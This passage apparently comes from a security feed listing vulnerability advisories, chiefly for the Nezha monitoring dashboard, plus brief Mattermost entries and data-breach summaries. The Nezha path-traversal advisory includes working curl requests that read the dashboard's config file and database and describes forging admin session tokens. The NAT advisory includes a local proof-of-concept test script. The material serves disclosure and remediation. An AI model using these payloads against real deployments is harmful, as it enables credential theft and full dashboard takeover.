limiting and concurrency control: 1. **Per-user stream cap** in `CreateStream` — reject if the user already has N active streams (e.g., 10 per user): ```go func (s *NezhaHandler) CreateStreamWithPurpose(...) { s.ioStreamMutex.Lock() defer s.ioStreamMutex.Unlock() count := 0 for _, ctx := range s.ioStreams { if ctx.creatorUserID == creatorUserID { count++ } } if count >= maxStreamsPerUser { return error } // ... existing code ... } ``` 2. **Per-server semaphore** — limit concurrent streams to any single server (e.g., 20 per server) 3. **Rate limiter on `createTerminal` and `createFM`** — mirror the existing MCP rate limiter (`mcp_ratelimit.go`) for legacy WebSocket endpoints 4. **Add a configurable `MaxStreamsPerUser` / `MaxStreamsPerServer` setting** so operators can tune limits without code changes | ||
| Risiko 5 / 10 CVE-2026-53521 | vor 14 Tag(en) | |
| ## Summary `PATCH /server/{id}` accepts and persists nonexistent `ddns_profiles` IDs for a member-owned server. If another user later creates a DDNS profile with one of those IDs, the DDNS worker resolves the stored ID and dispatches an update using the other user's DDNS profile configuration in the context of the attacker's server. This is a second-order authorization bypass: direct binding to an existing foreign DDNS profile is correctly denied, but an unresolved future ID can be stored first and later becomes a live cross-user reference. ## Affected versions Confirmed on: - Nezha `v2.0.14` - Commit: `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` The exact affected version range was not determined. ## Impact A normal member who owns a server can prebind one or more future DDNS profile IDs to that server. If another user later creates a DDNS profile with a matching ID, the dashboard DDNS worker can use the victim's DDNS profile/provider configuration for the attacker's server. In the validated worker path, the dispatched DDNS update combines: - the victim DDNS profile ID and owner - the victim profile's provider type - victim profile fields such as domains, access ID, access secret, and retry policy - attacker server context, including the attacker's server ID, owner, IPv4 address, and override DDNS domains This can result in unauthorized DDNS update attempts using another user's DDNS profile context. The attacker does not need permission to bind the victim profile after it exists. The following were not validated: credential disclosure, account takeover, or guaranteed external DNS modification across all providers. The credentials remain server-side in the worker path. The downstream DNS impact depends on the victim profile's provider configuration and what that provider account is authorized to update. ## Affected components - `PATCH /server/{id}` - `cmd/dashboard/controller/server.go` - `service/singleton/singleton.go` - `service/singleton/ddns.go` - `service/singleton/server.go` - `pkg/ddns/ddns.go` ## Root cause The server update path validates submitted DDNS profile IDs through `CheckPermission`, but that check only rejects existing objects owned by another user. Nonexistent IDs are skipped. The `updateServer` path then persists the submitted raw IDs into `DDNSProfilesRaw`, along with override domain data. Later, the DDNS worker resolves the stored profile IDs by ID and dispatches provider updates without revalidating that the resolved profiles belong to the server owner. As a result, an invalid unresolved reference can become a valid cross-user reference after another user creates a DDNS profile with the same global auto-increment ID. ## Reproduction summary The behavior was validated locally with focused regression tests. ### Controller chain proof Test file: `cmd/dashboard/controller/ddns_second_order_test.go` Test name: `TestUpdateServerAllowsFutureDDNSProfileBindingThenResolvesVictimProfile` Command: ```bash go test ./cmd/dashboard/controller -run TestUpdateServerAllowsFutureDDNSProfileBindingThenResolvesVictimProfile -count=1 ``` Result: `pass` The test demonstrates: 1. A normal member owns server `1`. 2. DDNS profile ID `1` does not exist. 3. The member updates their server with `enable_ddns=true` and `ddns_profiles=[1]`. 4. The request succeeds. 5. The server persists `DDNSProfiles=[1]`. 6. Another user later creates a DDNS profile and receives ID `1`. 7. A fresh attempt by the attacker to bind profile `1` is correctly denied. 8. The previously stored reference remains active and resolves in the DDNS worker path. ### Provider-level worker proof Test file: `service/singleton/ddns_worker_authz_test.go` Test name: `TestUpdateDDNSDispatchesVictimProfileForAttackerServer` Command: ```bash go test ./service/singleton -run TestUpdateDDNSDispatchesVictimProfileForAttackerServer -count=1 ``` Result: `pass` The test proves that the DDNS worker does not merely resolve the victim profile. It dispatches a DDNS update using the victim profile configuration and attacker server context. Validated assertions include: - resolved profile ID is `1` - resolved profile owner is victim user `200` - processed server is attacker server `1` owned by user `100` - provider type is the victim profile's provider - victim profile fields are present in worker dispatch: - domains - access ID - access secret - max retries - attacker server context is present in the same dispatch: - IPv4 `198.51.100.44` - attacker-controlled override domains are passed to the worker: - `attacker-controlled.example` ## Practicality The attack requires predicting or prebinding future DDNS profile IDs. This limits severity, but does not remove the authorization issue. Evidence supporting practicality: - DDNS profile IDs are `uint64` GORM primary keys from `model/common.go`. - `createDDNS` uses a normal `DB.Create(&p)` flow and returns `p.ID`. - `DDNSProfiles` is an unbounded `[]uint64` in `model/server_api.go`. - No length or existence validation is applied in `updateServer`. - Invalid/future IDs are preserved in the server record. - Stored unresolved IDs survive reload. - Range prebinding was validated with `[1,2,3,4]`. - The DDNS worker consumes stored IDs on future DDNS update events. - Worker dispatch can occur after server edit and agent IP-change events. - Each DDNS update can retry according to the victim profile's `MaxRetries`. This makes the issue semi-practical: exploitation depends on future ID prediction or range prebinding, but the unresolved IDs persist and can become active later. ## Expected behavior `PATCH /server/{id}` should reject any submitted DDNS profile ID that does not both: 1. exist, and 2. belong to the caller or the owner of the server being updated. The DDNS worker should also avoid trusting stored profile IDs without revalidating ownership before provider resolution or dispatch. ## Actual behavior `PATCH /server/{id}` accepts nonexistent DDNS profile IDs and persists them. If another user later creates a DDNS profile with a matching ID, the stored reference resolves to that user's profile and is consumed by the DDNS worker for the attacker's server. ## Suggested remediation Apply both bind-time and worker-time validation. At bind time: - Reject nonexistent DDNS profile IDs. - Reject DDNS profile IDs that do not belong to the caller/server owner. - Reject or limit excessive DDNS profile ID lists if range prebinding is not intended. At worker time: - Revalidate that every resolved DDNS profile still belongs to the owner of the server being processed. - Skip or remove stale, nonexistent, or foreign DDNS profile references before provider dispatch. Suggested regression tests: - `TestUpdateServerRejectsNonexistentDDNSProfileIDs` - `TestUpdateServerRejectsForeignDDNSProfileIDs` - `TestUpdateServerAcceptsOwnedDDNSProfileIDs` - `TestUpdateDDNSSkipsStaleOrForeignStoredDDNSProfiles` ## Security relevance A direct bind to an existing foreign DDNS profile is already denied, which shows the intended ownership boundary. The issue is that the same boundary can be bypassed by storing a future unresolved ID before the victim profile exists. The worker later treats the stored ID as trusted and dispatches a DDNS update using the victim profile's provider configuration with attacker server context. This is an authorization issue in a deferred worker path, not merely malformed input. ## Limitations - The attacker does not read victim DDNS credentials through the validated path. - Exploitation may require predicting or prebinding future global auto-increment DDNS profile IDs. - The downstream DNS impact depends on the victim profile's provider configuration. - External DNS modification was not claimed as guaranteed across all providers. | ||
| Risiko 5 / 10 CVE-2026-53520 | vor 14 Tag(en) | |
| ### Summary An authenticated non-admin user who owns any server can create or update a NAT profile whose `domain` is equal to the dashboard's own HTTP Host (for example, `dashboard.example:8008`). The dashboard's top-level HTTP/gRPC multiplexer checks `NATShared.GetNATConfigByDomain(r.Host)` before dispatching requests to the dashboard API, frontend, or gRPC handler, so a member-controlled NAT profile for the dashboard Host takes precedence over the real dashboard. A disabled claimed NAT profile blocks matching dashboard requests before they reach the dashboard handler. An enabled claimed NAT profile routes matching requests into `ServeNAT`, which sends a NAT task to the member's selected agent and wraps the original HTTP request into the NAT IO stream. This allows a low-privileged dashboard user to take over routing for a global host name that should be reserved for the dashboard operator. Tested locally against commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` of `github.com/nezhahq/nezha`. ### Details The NAT management API is exposed to any authenticated user, not just administrators: `auth.POST("/nat", commonHandler(createNAT))` and `auth.PATCH("/nat/:id", commonHandler(updateNAT))` are registered in `cmd/dashboard/controller/controller.go:147-150`. `createNAT` accepts the request body into `model.NATForm`, verifies only that the selected server exists and `server.HasPermission(c)` succeeds, then stores the caller-controlled `nf.Domain` directly into `n.Domain` and updates the shared NAT cache (`cmd/dashboard/controller/nat.go:48-80`). `updateNAT` performs the same assignment after checking ownership of the selected server and existing NAT record (`cmd/dashboard/controller/nat.go:96-140`). `NATForm.Domain` is an unconstrained string with no reserved-host or host-ownership validation (`model/nat_api.go:3-9`), and `model.NAT.Domain` is only globally unique in the database (`model/nat.go:3-10`). The singleton NAT cache indexes persisted NAT profiles directly by `profile.Domain` in `NewNATClass` (`service/singleton/nat.go:17-25`) and writes updates into the same map with `c.list[n.Domain] = n` (`service/singleton/nat.go:37-45`). Runtime lookup is an exact map lookup of the incoming Host string (`service/singleton/nat.go:65-69`). The routing boundary is global: `newHTTPandGRPCMux` checks `singleton.NATShared.GetNATConfigByDomain(r.Host)` before it checks for gRPC or invokes the dashboard HTTP handler (`cmd/dashboard/main.go:207-225`). If the NAT profile exists but is disabled, the router returns the WAF block page and never reaches the dashboard (`cmd/dashboard/main.go:209-214`). If it is enabled, the router calls `rpc.ServeNAT(w, r, natConfig)` and returns (`cmd/dashboard/main.go:216-217`). `ServeNAT` selects the server from the NAT profile, requires that server's task stream to be online, sends a `TaskTypeNAT` task containing the NAT target host, then calls `utils.NewRequestWrapper(r, w)` and attaches the wrapped original request to the IO stream (`cmd/dashboard/rpc/rpc.go:142-204`). The request wrapper serializes the original request with `req.Write(buf)`, which includes the request line and headers, before streaming it over the hijacked connection (`pkg/utils/request_wrapper.go:19-31`). This is the intended NAT tunnel behavior, but it is unsafe when an ordinary user can bind the dashboard's own Host name. Default/common exposure evidence: the dashboard binary is the primary shipped component of module `github.com/nezhahq/nezha` (`go.mod:1`), listens on port `8008` when `listen_port` is unset (`model/config.go:146-148`), and the Dockerfile exposes `8008` (`Dockerfile:14-18`). NAT management is part of the authenticated dashboard route set, so the vulnerable path is reachable in a default dashboard deployment with multiple users or any non-admin user who controls a server. False-positive checks performed: - The NAT routes are authenticated but not admin-only (`cmd/dashboard/controller/controller.go:147-150`). - The only create-time authorization check is ownership of the selected server (`cmd/dashboard/controller/nat.go:56-65`), not authority over the claimed Host. - The update path likewise accepts a caller-controlled replacement domain after ownership checks (`cmd/dashboard/controller/nat.go:109-139`). - The NAT cache uses the domain string as the global dispatch key without reserving the dashboard Host (`service/singleton/nat.go:17-25`, `service/singleton/nat.go:37-45`, `service/singleton/nat.go:65-69`). - The top-level mux checks NAT before dashboard/gRPC routing (`cmd/dashboard/main.go:207-225`). - A control request using a different Host reaches the dashboard handler in the local reproduction, ruling out a generic handler failure. Candidate score: 16/18. - Reachability: 2 — authenticated NAT API and top-level mux are default dashboard paths. - Attacker control: 2 — `NATForm.Domain` is directly controlled by the authenticated caller. - Privilege required: 1 — requires an authenticated user with an owned server; no admin role is required. - Sink impact: 2 — matching dashboard Host traffic is blocked or routed into the attacker's NAT stream instead of the dashboard. - Mitigation weakness: 2 — no dashboard-host reservation, domain ownership validation, or post-parse host authorization was found. - Default exposure: 2 — dashboard listens on/exposes port 8008 by default and NAT routes are registered in the default authenticated API. - Safe reproduction feasibility: 2 — reproduced locally with a safe temporary unit-test harness and local SQLite database. - Static certainty: 2 — source-to-sink chain is complete from JSON body to NAT cache to global router. - False-positive resistance: 1 — disabled-route preemption is dynamically proven; enabled-route forwarding is supported by code path but was not exercised with a real agent binary in this repository checkout. Exploitability gate result: confirmed for authenticated dashboard Host preemption and denial of service. Enabled-route request forwarding is included as impact rationale from the exact `ServeNAT` source path, but the reproducible proof uses a disabled NAT profile to avoid requiring a live agent. ### PoC The following safe local reproduction adds only temporary test/stub files, uses a temporary SQLite database, runs the real unexported `newHTTPandGRPCMux`, and removes all temporary files on exit. It does not start a public listener or contact external systems. Run from a clean checkout of commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202`: ```bash cleanup() { rm -f cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cmd/dashboard/docs/docs.go cmd/dashboard/nat_host_claim_tmp_test.go; rmdir cmd/dashboard/docs 2>/dev/null || true; } cleanup mkdir -p cmd/dashboard/docs printf 'placeholder' > cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt printf 'placeholder' > cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cat > cmd/dashboard/docs/docs.go <<'EOF' package docs var SwaggerInfo = struct{ Version string }{Version: "test"} EOF cat > cmd/dashboard/nat_host_claim_tmp_test.go <<'EOF' package main import ( "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "testing" "github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/service/singleton" "gorm.io/driver/sqlite" "gorm.io/gorm" ) func TestNATDomainPreemptsDashboardHost(t *testing.T) { dbPath := filepath.Join(t.TempDir(), "nezha-nat-host-poc.sqlite") db, err := gorm.Open(sqlite.Open(dbPath), &gorm.Config{}) if err != nil { t.Fatal(err) } singleton.DB = db if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.NAT{}); err != nil { t.Fatal(err) } member := model.User{Username: "member", Role: model.RoleMember, Password: "unused"} if err := db.Create(&member).Error; err != nil { t.Fatal(err) } server := model.Server{Common: model.Common{UserID: member.ID}, UUID: "11111111-1111-1111-1111-111111111111", Name: "member-agent"} if err := db.Create(&server).Error; err != nil { t.Fatal(err) } nat := model.NAT{Common: model.Common{UserID: member.ID}, Enabled: false, Domain: "dashboard.example:8008", Host: "127.0.0.1:18080", ServerID: server.ID, Name: "claim-dashboard-host"} if err := db.Create(&nat).Error; err != nil { t.Fatal(err) } singleton.NATShared = singleton.NewNATClass() httpHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusTeapot) _, _ = w.Write([]byte("dashboard handler reached")) }) grpcHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusAccepted) }) h := newHTTPandGRPCMux(httpHandler, grpcHandler) req := httptest.NewRequest(http.MethodGet, "http://dashboard.example:8008/api/v1/profile", nil) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code == http.StatusTeapot || rec.Body.String() == "dashboard handler reached" { t.Fatalf("dashboard handler was reached despite claimed NAT host: code=%d body=%q", rec.Code, rec.Body.String()) } fmt.Fprintf(os.Stdout, "positive: Host %s matched disabled member NAT id=%d and preempted dashboard handler with status=%d\n", req.Host, nat.ID, rec.Code) controlReq := httptest.NewRequest(http.MethodGet, "http://other.example:8008/api/v1/profile", nil) controlRec := httptest.NewRecorder() h.ServeHTTP(controlRec, controlReq) if controlRec.Code != http.StatusTeapot || controlRec.Body.String() != "dashboard handler reached" { t.Fatalf("control host did not reach dashboard handler: code=%d body=%q", controlRec.Code, controlRec.Body.String()) } fmt.Fprintf(os.Stdout, "control: Host %s missed NAT and reached dashboard handler with status=%d\n", controlReq.Host, controlRec.Code) } EOF trap cleanup EXIT GOPROXY=off go test ./cmd/dashboard -run TestNATDomainPreemptsDashboardHost -count=1 -v ``` Observed vulnerable output in this environment: ```text === RUN TestNATDomainPreemptsDashboardHost positive: Host dashboard.example:8008 matched disabled member NAT id=1 and preempted dashboard handler with status=403 control: Host other.example:8008 missed NAT and reached dashboard handler with status=418 --- PASS: TestNATDomainPreemptsDashboardHost (0.11s) PASS ok github.com/nezhahq/nezha/cmd/dashboard 0.132s ``` Expected vulnerable output: the positive request for `dashboard.example:8008` must not return the dashboard handler's `418` response; it should be intercepted by the disabled NAT profile and return the WAF/block status. The control request for `other.example:8008` must reach the dashboard handler and return `418` with body `dashboard handler reached`. Cleanup: the shell `trap cleanup EXIT` removes the temporary test file, temporary generated docs stub, and temporary embed placeholders. The SQLite database is created under `t.TempDir()` and removed by Go's test cleanup. Final re-check: the reproduction above was run after source-to-sink analysis and before writing this draft; it passed with the exact output shown above. ### Impact A non-admin authenticated user can bind a global routing key that belongs to the dashboard operator. If the attacker sets `enabled=false`, all requests carrying the claimed dashboard Host are blocked before reaching dashboard API, frontend, or gRPC handlers. This can deny access to the dashboard for all users who use that Host. If the attacker sets `enabled=true` and keeps the selected owned agent online, the matching requests enter `ServeNAT`: the dashboard sends a NAT task to that agent and streams the serialized original HTTP request into the NAT IO stream. Because `utils.NewRequestWrapper` serializes the original request with headers, dashboard requests that should have been processed locally can be forwarded to infrastructure controlled by the low-privileged user. The local proof avoids this stronger enabled-agent path, but the source path is direct in `cmd/dashboard/rpc/rpc.go:142-204` and `pkg/utils/request_wrapper.go:19-31`. ### Suggested remediation Do not allow ordinary NAT profiles to claim dashboard-owned hosts. Recommended fixes: 1. Canonicalize incoming Host values and NAT domain values consistently, including case and port handling. 2. Add a server-side reserved-host check in both `createNAT` and `updateNAT` that rejects the configured dashboard public host(s), listen host/port combinations, and any administrator-reserved domains. 3. Consider making NAT domain creation admin-approved unless the deployment can verify domain ownership for the requesting user. 4. In the top-level mux, route dashboard/gRPC hosts before NAT when the Host is known to belong to the dashboard. 5. Add regression tests covering create, update, cache reload, and mux behavior for dashboard-host collisions. A useful regression test is the PoC above inverted: a member-created NAT with `Domain` equal to the configured dashboard Host should be rejected by the controller, and a request with the dashboard Host should continue to reach the dashboard handler. | ||
| Risiko 9.5 / 10 CVE-2026-53519 | vor 14 Tag(en) | |
| ### Summary `fallbackToFrontend` in the dashboard's `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join("admin-dist", "../data/config.yaml")` normalizes to `data/config.yaml` — which `os.Stat` finds and `http.ServeFile` returns. No authentication required. In default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request. ### Details ## Root cause ```go // cmd/dashboard/controller/controller.go @ 636f4a9 387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path) 388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { 389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") 390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) 391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { 392: return 393: } ``` ```go // cmd/dashboard/controller/controller.go @ 636f4a9 322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { 323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool { 324: if _, err := os.Stat(path); err == nil { 325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path) 326: return true 327: } ``` `fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` — `r.NoRoute(fallbackToFrontend(frontendDist))` — so every URL not matched by an earlier route reaches it, including pre-auth. ### Path math (verified, see appendix) | Input `URL.Path` | `TrimPrefix(..., "/dashboard")` | `path.Join("admin-dist", ...)` | Reachable file | |---|---|---|---| | `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended | | `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`'s URL `..`-segment guard → 400** | | `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** | | `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | | `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | The negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go's stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` — no standalone `..` — so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense. ### Why the existing defenses miss 1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted. 2. `path.Join` silently `Clean`s the result — so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape. 3. Go's `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead. 4. No anchored "is this still under the template root?" check exists after `path.Join`. ## PoC ### Setup ```text TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef HARNESS: stdlib-only port — see Appendix A WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db TIME-TO-REPRO: first request ``` The harness plants this `data/config.yaml`: ```yaml debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` ### Observed responses **Primary payload — pre-auth secret disclosure:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml' ``` ```text HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 167 Content-Type: application/yaml Last-Modified: Sun, 24 May 2026 12:16:23 GMT Date: Sun, 24 May 2026 12:16:25 GMT debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` **Negative control — Go stdlib guard rejects the canonical form:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml' ``` ```text HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 invalid URL path ``` **Encoded-dot variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Encoded-slash variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Double-encoded — confirms the bypass requires single-level encoding:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 30 Content-Type: text/html; charset=utf-8 admin frontend OK ``` The literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` — no secret disclosure. **Encoded leading slash — also blocked at the stdlib layer:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml' ``` ```text HTTP/1.1 400 Bad Request invalid URL path ``` **SQLite database exfil — same primitive:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db' ``` ```text HTTP/1.1 200 OK Content-Length: 42 SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY ``` ### Sanity checks - Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 — the bypass does not regress legitimate behavior. - Requests to `/api/...` still hit the JSON-404 branch — the bypass is isolated to the `/dashboard` fallback. ## Impact ### Direct primitive Unauth read of any file in the dashboard's working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes: | File | Default path | Why it matters | |---|---|---| | `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets | | `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs | ### Chain to administrative account takeover (verified path) 1. **Read config** — `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`. 2. **Read database** — `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references). 3. **Forge a JWT** — the dashboard's JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with: ```go Key: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser, ``` HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`). 4. **Operate as admin** — every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing. ## Suggested fix Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff: ```diff - if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { - stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") + if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") { + stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/") + cleanPath := path.Clean("/" + stripPath) + if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") { + c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found"))) + return + } localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) ``` The `/dashboard` -> `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`. The same hardening should be applied to the user-template branch (lines 399–405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive. A defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely. | ||
| Risiko 5 / 10 CVE-2026-53465 | vor 16 Tag(en) | |
| An crafted multi-frame can result in a heap buffer over-write when encoding it with the SF3 encoder. | ||
| Risiko 5 / 10 CVE-2026-53464 | vor 16 Tag(en) | |
| When providing invalid options to the wand option parser a small memory leak will occur. | ||
| Risiko 5 / 10 CVE-2026-4635 | vor 35 Tag(en) | |
| Mattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to archive the channel before removing persistent notifications which allows authenticated user to crash the server via timing the creation of persistent notification message between the server deleting existing persistent notifications and archiving the channel. Mattermost Advisory ID: MMSA-2026-00637. | ||
| Risiko 7.5 / 10 CVE-2026-3473 | vor 35 Tag(en) | |
| Mattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to validate file ownership and access control, which allows an authenticated user to access and download files belonging to other users or teams via crafted Boards API requests using valid file IDs. Mattermost Advisory ID: MMSA-2026-00620. | ||
| Risiko 5 / 10 CVE-2026-3636 | vor 35 Tag(en) | |
| Mattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to sanitize team member data when returned via API to users without elevated permissions which allows a user without permissions to get data about team members roles via invoking various team API endpoints. Mattermost Advisory ID: MMSA-2026-00626. | ||
| 18.06.2026 - Operation Endgame 4.0 | 4.160.519 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords recovered during the operation. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation targeted by Operation Endgame were provided to HIBP, bringing the total to almost 4.2M unique email addresses. |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 12.06.2026 - American Tower | 216.601 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
